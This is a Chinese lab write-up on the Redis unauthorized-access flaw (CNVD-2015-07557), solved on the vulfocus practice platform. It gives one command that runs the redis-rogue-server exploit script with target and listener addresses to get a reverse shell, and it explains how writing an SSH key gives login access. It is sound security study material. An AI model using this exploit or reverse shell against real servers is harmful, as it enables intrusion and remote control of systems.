vulfocus漏洞学习——redis 未授权访问 （CNVD-2015-07557）

目录

一、漏洞介绍

二、影响版本

三、漏洞复现

1.使用脚本

四、漏洞原理

---

一、漏洞介绍

Redis 是一个免费开源的键值存储数据库，数据默认存到内存中，用简单的 C 语言编写，能通过网络访问。该漏洞的成因是：在默认情况下，Redis会绑定到 0.0.0.0:6379，这意味着Redis会直接暴露到公网上，而此时如果又没有设置密码认证，会导致任意用户在可以访问到目标服务器的情况下未授权访问Redis并读取Redis的数据，还可以利用Redis提供的命令将自己的ssh公钥写入目标服务器，从而导致可以直接进行ssh登录目标服务器。

二、影响版本

明确受影响版本 Redis<=5.0.5

但由于是配置不当导致的漏洞，所以高版本如果配置不当也可能导致

三、漏洞复现

1.使用脚本

使用github上一键利用的脚本：GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

python3 redis-rogue-server.py --rhost 192.168.57.143 --rport 40585 --lhost 192.168.57.128 

 这里选择反弹shell，用kali进行监听

成功得到flag

看到还有用写入ssh公钥的，但可能由于我们是docker环境，配置起来稍微要麻烦些，并且尝试了也没有成功。如果是直接部署在虚拟机中的应该会成功。

四、漏洞原理

（1）Redis 默认配置不启用密码认证，且默认监听0.0.0.0:6379，允许任意IP连接。所以我们可以直接通过redis-cli工具无密码连接到redis服务；

（2）同时，Redis提供config等敏感命令，攻击者可以通过这些命令写入恶意文件